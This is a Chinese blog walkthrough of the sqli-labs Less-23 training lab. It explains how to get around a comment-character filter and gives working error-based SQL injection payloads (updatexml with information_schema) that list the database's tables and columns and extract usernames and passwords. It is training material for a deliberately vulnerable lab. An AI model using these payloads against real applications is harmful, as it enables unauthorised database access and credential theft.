sqli-labs:Less-23关卡详细解析

1. 思路🚀

本关的SQL语句为:

sql 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

php 复制代码
if($row)
{
 	echo '<font color= "#0000ff">';	
 	echo 'Your Login name:'. $row['username'];
 	echo "<br>";
 	echo 'Your Password:' .$row['password'];
 	echo "</font>";
}
else 
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
}

本关卡还有个有意思的部分代码,实现了对#--字符的过滤,并使用空格进行了替换,因此不能使用这两个注释符。不过,无伤大雅,配合报错盲注依旧可以轻松解决。

php 复制代码
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

2. 手工注入步骤🎯

2.1. 判断能否注入⚡

sql 复制代码
?id=1

回显信息,说明存在注入点。


2.2. 判断回显位⚡

url 复制代码
-1' union select 1,2,3 and 1'

为什么只在第二个位置回显信息,这完全由注入的sql语句代码中的sql语句决定的,大家可以调试一下。我再提供一个sql语句,使用 union select 后加 where 条件:

url 复制代码
?id=-1' union select 1,2,3 from users where'1'='1

这样 where'1'='1' 保证查询成功,并且不会影响 union select 的返回值。


2.3. 获取基本信息⚡

url 复制代码
1' and updatexml(1,concat(1,(select%20database())),3) and '1

为什么末尾要加 and 1'?,我从sql语句逻辑出发,解析一下。

1. 原始SQL语句结构

php 复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

2. 当使用1' and payload and '1时:

sql 复制代码
SELECT * FROM users WHERE id='1' and updatexml(1,concat(1,(select database())),3) and '1' LIMIT 0,1
  • 第一个单引号'闭合了原始查询的左引号
  • and连接你的payload
  • 最后的'1'提供了右引号,保持SQL语法正确
  • 整个语句语法正确,payload被执行

3. 如果尝试不使用and '1'闭合:

sql 复制代码
SELECT * FROM users WHERE id='1' and updatexml(1,concat(1,(select database())),3) ' LIMIT 0,1
  • 这里会报语法错误,因为最后多了一个孤立的单引号'
  • 数据库不知道如何处理这个引号

2.4. 获取表名⚡

url 复制代码
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and '1

2.5. 获取字段⚡

url 复制代码
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and '1

2.6. 获取数据⚡

修改limit x,1中的偏移值,可以获取其他用户的账号和密码。

url 复制代码
1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and '1

2.7. 参数汇总表⭐

参数 作用 示例
' 闭合符号 id='
updatexml() 报错注入函数 updatexml(1,(select database()),3)
concat() 字符串拼接函数 concat('a','b')concat(1,(select database()))
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. 总结🏁

本关卡的注入方法采用报错盲注,还是比较熟悉的。只不过#--注释符无法使用,这是一个值得注意的点。

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
其实防守也摸鱼1 天前
Sqlmap:选取sqli-labs中less-8进行sqlmap注入测试
前端·css·网络·安全·web安全·less·sqli-labs
Nanhuiyu4 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)
web安全·sql注入·白帽江湖·延迟注入
Nanhuiyu4 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)
web安全·sql注入·布尔盲注·白帽江湖
Nanhuiyu4 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(无防护)
web安全·sql注入·报错注入·白帽江湖
HackTwoHub12 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub12 天前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入
其实防守也摸鱼17 天前
《SQL注入进阶实验:基于sqli-Labs的报错注入(Error-Based Injection)实战解析》
网络·数据库·sql·安全·网络安全·sql注入·报错注入
锐速网络18 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
味悲19 天前
SQL预编译学习笔记
安全·sql注入
PyHaVolask1 个月前
Joomla 3.7.0 渗透测试全流程复现:从信息收集到本地提权
渗透测试·漏洞复现·sql注入·内核漏洞·joomla·本地提权